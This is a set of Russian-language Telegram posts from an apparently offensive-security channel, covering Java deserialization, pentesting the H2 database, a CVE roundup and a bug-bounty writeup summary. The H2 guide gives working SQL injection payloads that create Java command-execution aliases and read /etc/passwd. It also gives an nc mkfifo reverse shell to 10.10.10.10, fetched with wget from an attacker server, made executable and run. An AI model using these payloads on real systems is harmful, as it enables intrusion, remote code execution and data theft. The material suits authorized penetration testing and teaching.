#java #deser #deserialization
Все мы когда-нибудь дорастаем до того момента, когда к нам на проекте попадется приложение на Java и вы в судорожном фаззинге случайно натыкаетесь на что-то непонятное, а это оказывается десериализация.
Но сначала надо разобраться, что такое сериализация. Это процесс преобразования объекта или структуры данных в последовательность байтов для хранения или передачи. Это позволяет сохранить состояние объекта и позже восстановить его.
Соответственно десериализация - обратный процесс, при котором последовательность байтов преобразуется обратно в объект или структуру данных.
Вот вам пример кода:
import java.io.*;
// Класс, который мы будем сериализовать
class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "User{name='" + name + "', age=" + age + "}";
}
}
public class SerializationExample {
public static void main(String[] args) {
// Создаем объект для сериализации
User user = new User("Sergey", 20);
// Сериализация
try (FileOutputStream fileOut = new FileOutputStream("user.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(user);
System.out.println("Объект сериализован в файл user.ser");
} catch (IOException i) {
i.printStackTrace();
}
// Десериализация
User deserializedUser = null;
try (FileInputStream fileIn = new FileInputStream("user.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)) {
deserializedUser = (User) in.readObject();
} catch (IOException i) {
i.printStackTrace();
} catch (ClassNotFoundException c) {
System.out.println("Класс User не найден");
c.printStackTrace();
}
if (deserializedUser != null) {
System.out.println("Десериализованный объект: " + deserializedUser);
}
}
}
Атака десериализации - это тип атаки, при котором злоумышленник манипулирует сериализованными данными, чтобы вызвать нежелательное поведение в приложении при их десериализации.
Вот пример уязвимого кода:
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
public class VulnerableServer {
public static void main(String[] args) {
try (ServerSocket serverSocket = new ServerSocket(1234)) {
System.out.println("Сервер запущен. Ожидание подключений...");
while (true) {
try (Socket clientSocket = serverSocket.accept();
ObjectInputStream ois = new ObjectInputStream(clientSocket.getInputStream())) {
// Уязвимый код: прямая десериализация без проверок
Object obj = ois.readObject();
System.out.println("Получен объект: " + obj);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
Уязвимость в строке:
javaCopyObject obj = ois.readObject();
Здесь происходит прямая десериализация объекта без каких-либо проверок. Это позволяет злоумышленнику отправить любой сериализованный объект, который будет десериализован и выполнен в контексте сервера. Подобный код может привести к RCE.
Please open Telegram to view this post
VIEW IN TELEGRAM
3🔥9👍1
Гайд по пентесту СУБД H2. Первая часть
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
Родители, закройте детям глаза, дальше будет Java)
➡️ Начнём с теории:
H2 — это легковесная, кроссплатформенная система управления реляционными базами данных с открытым исходным кодом, полностью написанная на Java. Она может работать как во встроенном режиме (embedded), так и в режиме клиент-сервер, поддерживает хранение данных в памяти (in-memory) и на диске, что делает её идеальным выбором для разработки, тестирования и небольших production-проектов.
Я думаю большинство с ней никогда не сталкивалось, вот и я вчера впервые с ней повстречался. В ходе ресерча ноликов ноликов в одном Java проекте, я дошёл до потенциальной SQLi и я решил сразу пойти покрутить SQLi > RCE. Попробовав дефолтные векторы из постгри (чисто на рефлексе), понял что оно не работает(
Пошёл читать доку и оказалось, что прямого вектора до RCE, как в популярных СУБД типа PostgreSQL или MySQL - нет. Пошёл читать доку и ...пригрустнул, т.к. судя по сайту, мне предстояла попа-боль и костыльные извращенства, что собственно и произошло.
Верификация наличия SQLi идёт по классике:
На этом даже останавливаться не будем.
В чём основаная проблема? Нет явного фунционала для выполнения команд на системе. Поэтому давайте сами напишем себе функции для RCE))
🕺 Я нашёл 2 вектора, как можно выполнять RCE в этой СУБД:
1️⃣ Менее удобный вектор, но прямолинейный. Создаём функцию и вызываем её, заменяя какие-нибудь данные в таблице, которые мы видим на странице.
Итоговая нагрузка будет выглядеть вот так:
И проверяем результаты на странице. Содержимое комментария с этим UUID должно было замениться на вывод команды
🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
Родители, закройте детям глаза, дальше будет Java)
H2 — это легковесная, кроссплатформенная система управления реляционными базами данных с открытым исходным кодом, полностью написанная на Java. Она может работать как во встроенном режиме (embedded), так и в режиме клиент-сервер, поддерживает хранение данных в памяти (in-memory) и на диске, что делает её идеальным выбором для разработки, тестирования и небольших production-проектов.
Я думаю большинство с ней никогда не сталкивалось, вот и я вчера впервые с ней повстречался. В ходе ресерча ноликов ноликов в одном Java проекте, я дошёл до потенциальной SQLi и я решил сразу пойти покрутить SQLi > RCE. Попробовав дефолтные векторы из постгри (чисто на рефлексе), понял что оно не работает(
Пошёл читать доку и оказалось, что прямого вектора до RCE, как в популярных СУБД типа PostgreSQL или MySQL - нет. Пошёл читать доку и ...пригрустнул, т.к. судя по сайту, мне предстояла попа-боль и костыльные извращенства, что собственно и произошло.
Верификация наличия SQLi идёт по классике:
something' OR 1=1; --
# Получаем 200 OK
something' OR 1=2; --
# Получаем ошибку
На этом даже останавливаться не будем.
В чём основаная проблема? Нет явного фунционала для выполнения команд на системе. Поэтому давайте сами напишем себе функции для RCE))
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
// Вызываем метод shell_exec() и выводим результат в консоль
System.out.println(shell_exec());
}
static String shell_exec() throws java.io.IOException {
// Выполняем команду "id" и создаём Scanner для чтения её вывода
java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A"); // Устанавливаем разделитель так, чтобы Scanner читал весь ввод целиком
// Если есть данные в выводе команды, возвращаем их, иначе — пустую строку
return cmd_output.hasNext() ? cmd_output.next() : "";
}
}
Итоговая нагрузка будет выглядеть вот так:
something' OR 1=1; DROP ALIAS IF EXISTS exec_cmd; CREATE ALIAS exec_cmd AS 'String shell_exec() throws java.io.IOException {
java.util.Scanner cmd_output = new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A");
return cmd_output.hasNext() ? cmd_output.next() : "";
}'; UPDATE comments SET comment = exec_cmd() WHERE id = 13c60101-8142-42df-bebd-fb5905673c41; --И проверяем результаты на странице. Содержимое комментария с этим UUID должно было замениться на вывод команды
id, но если что-то не сработало, то будет пустой комментарий. Почему может не сработать? Возможно урезанное окружение, а может права выставлены корректно и СУБД не может выполнять системные команды. Попробуйте другие команды, если вдруг не получилось.Please open Telegram to view this post
VIEW IN TELEGRAM
Гайд по пентесту СУБД H2. Вторая часть
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
2️⃣ Удобный, но более жирный по коду вектор
Ещё в прошлом примере мы делали unalias на возможно существующую команду, на всякий случай. Теперь же мы создадим свой alias и будем его использовать.
По сути мы напрогали себе shell на java))
Дальше мы можем уже щеголять нашей оболочкой в запросах по полной.
➡️ Как получить reverse shell?
Тут уже по классике cmd inj)
Если не работает этот revshell, то попробуйте любой другой с сайта revshells.com
Далее поднимаем
Далее идём снова в Repeater и скачиваем файл на атакуемую систему
Выдаём права
Запускаем у себя лисенер, после на атакуемой тачке рев шелл
Проверяем консоль, должена была появится сессия. Дальше уже можете делать privesc по ситуации)
P.s. в 2019 году был репорт на скулю в H2 в dotCMS
https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/
🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK | 🌚 Мерч
#H2 #Java #pentest #research #SQLi
ЧАСТЬ 1 - ЧАСТЬ 2
Ещё в прошлом примере мы делали unalias на возможно существующую команду, на всякий случай. Теперь же мы создадим свой alias и будем его использовать.
CREATE ALIAS EXEC AS
'String e(String cmd) throws java.io.IOException {
// Формируем массив аргументов для выполнения команды в bash:
String[] c = {"/bin/bash", "-c", cmd};
// Запускаем процесс с указанной командой
Process p = Runtime.getRuntime().exec(c);
// Получаем поток вывода (stdout) запущенного процесса
java.io.InputStream stdIn = p.getInputStream();
// Оборачиваем InputStream в InputStreamReader для чтения символов
java.io.InputStreamReader isr = new java.io.InputStreamReader(stdIn);
// Оборачиваем InputStreamReader в BufferedReader для построчного чтения
java.io.BufferedReader br = new java.io.BufferedReader(isr);
// Переменная для накопления всего вывода команды
String result = "";
// Временная переменная для чтения текущей строки
String line = "";
// Считываем строки из вывода процесса до тех пор, пока они есть
while ((line = br.readLine()) != null)
// Добавляем каждую строку к результату (без перевода строки)
result += line;
// Возвращаем весь накопленный вывод команды как одну строку
return result;
}';
По сути мы напрогали себе shell на java))
Дальше мы можем уже щеголять нашей оболочкой в запросах по полной.
something' CALL EXEC('cat /etc/passwd'); --Тут уже по классике cmd inj)
# сначала пишем на rev shell в файл. Как пример:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 9001 >/tmp/f" > shell.sh
Если не работает этот revshell, то попробуйте любой другой с сайта revshells.com
Далее поднимаем
python3 http.server в папке, где хранится shell.shДалее идём снова в Repeater и скачиваем файл на атакуемую систему
CALL EXEC('wget http://10.10.10.10:8080/shell.sh -O /tmp/shell.sh');Выдаём права
CALL EXEC('chmod +x /tmp/shell.sh');Запускаем у себя лисенер, после на атакуемой тачке рев шелл
CALL EXEC('bash /tmp/shell.sh');Проверяем консоль, должена была появится сессия. Дальше уже можете делать privesc по ситуации)
P.s. в 2019 году был репорт на скулю в H2 в dotCMS
https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/
Please open Telegram to view this post
VIEW IN TELEGRAM
H2Database
H2 Database Engine (redirect)
H2 is free SQL database written in Java
Ловите вкусные баги прошедшей недели
#CVE #Java #AEM #Cisco #Android #Microsoft
➡️ SAP NetWeaver AS Java / Insecure deserialization (CVE-2025-42944, CVSS 10.0)
Критическая уязвимость в модуле RMI-P4. Имея доступ к открытому RMI-интерфейсу, можно доставить на открытый RMI-порт специально сформированные сериализованные объекты и добиться RCE без аутентификации.
➡️ Adobe Experience Manager (AEM) / misconfiguration (CVE-2025-54253, CVSS 10.0)
Проблема связана с небезопасной конфигурацией/режимом разработки (devMode) и взаимодействием со Struts/OGNL. Специально сформированные запросы могут привести к выполнению выражений и RCE без аутентификации и без участия пользователя.
➡️ Cisco ASA/FTD (CVE-2025-20362 CVSS 6.5, CVE-2025-20333, CVSS 9.9)
Недостаточная валидация пользовательского ввода в веб-компоненте VPN + неправильная проверка входа в VPN/WebVPN web-сервере соответственно. Эта пара используется в атаках по меньшей мере с мая 2025 года. Позволяет получать доступ к URL-эндпойнтам, которые должны требовать аутентификацию, и выполнять RCE под root на устройстве.
➡️ Android Framework / information disclosure (CVE-2025-48561, CVSS 8.3)
Локальное приложение может использовать побочные графические/рендер-сигналы, чтобы восстановить отображаемые на экране данные (2FA-коды, уведомления и т.д.). 0-click + не требует дополнительных прав. Достаточно запустить вредоносный APK на устройстве.
➡️ Microsoft Patch Tuesday
Microsoft выпустила крупнейший в истории Patch Tuesday с исправлениями 170+ уязвимостей, включая шесть zero-day. Исчерпывающий обзор обновлений с перечислением самых критичных багов есть у Bleeping Computers, Talos и Qualys.
🌚 @poxek | 📲 MAX |🌚 Блог | 📺 YT | 📺 RT | 📺 VK | ❤️ Мерч
#CVE #Java #AEM #Cisco #Android #Microsoft
Критическая уязвимость в модуле RMI-P4. Имея доступ к открытому RMI-интерфейсу, можно доставить на открытый RMI-порт специально сформированные сериализованные объекты и добиться RCE без аутентификации.
Проблема связана с небезопасной конфигурацией/режимом разработки (devMode) и взаимодействием со Struts/OGNL. Специально сформированные запросы могут привести к выполнению выражений и RCE без аутентификации и без участия пользователя.
Недостаточная валидация пользовательского ввода в веб-компоненте VPN + неправильная проверка входа в VPN/WebVPN web-сервере соответственно. Эта пара используется в атаках по меньшей мере с мая 2025 года. Позволяет получать доступ к URL-эндпойнтам, которые должны требовать аутентификацию, и выполнять RCE под root на устройстве.
Локальное приложение может использовать побочные графические/рендер-сигналы, чтобы восстановить отображаемые на экране данные (2FA-коды, уведомления и т.д.). 0-click + не требует дополнительных прав. Достаточно запустить вредоносный APK на устройстве.
Microsoft выпустила крупнейший в истории Patch Tuesday с исправлениями 170+ уязвимостей, включая шесть zero-day. Исчерпывающий обзор обновлений с перечислением самых критичных багов есть у Bleeping Computers, Talos и Qualys.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍3 2
#RCE #java #ysoserial #springboot
Ребята из Principle Breach выкатили свежий writeup с bug bounty, и это база — Java deserialization на API Gateway, который должен был защищать инфраструктуру.
Разведка началась с пассивного сбора доменов через subfinder и активной проверки доступности веб-узлов (
httpx -sc). В результате был обнаружен публично доступный gateway-internal[.]target[.]com (HTTP 200) с кастомным management-интерфейсом API-шлюза. Логин-страница раскрывала версию продукта (REDACTED API Gateway v1.2.5).Параллельно выявлены смежные окружения:
dev-v2[.]target[.]com (403), stg[.]target[.]com (401), metrics[.]target[.]com (401), раскрывшие карту инфраструктуры.gateway-internal.target.comJSESSIONID, Whitelabel Error Page ==> Java во всей красе/api/v1/cluster/sync отвечает без аутентификацииCommonsCollections6 через ysoserial ==> reverse shellСуть бага: кластерная синхронизация между нодами принимала произвольные serialized объекты без auth. Ошибка ClassCastException прилетала уже после исполнения payload'а.
Что пошло не так: Админка торчит наружу > Внутренние эндпоинты без auth > Подробные сообщения об ошибках сливают структуру классов > Устаревшие зависимости с известными gadget chains
Изоляция - админ-интерфейсы API-шлюзов должны быть доступны только из корпсети или с VPN, а не напрямую из интернета, даже если есть auth-форма.
Минимизация экспозиции dev/stg-окружений - временные стенды регулярно увеличивают поверхность атаки и часто содержат отладочные эндпоинты.
Сокрытие версий ПО на внешних интерфейсах - эта информация упрощает CVE-таргетинг и diff-анализ патчей.
Please open Telegram to view this post
VIEW IN TELEGRAM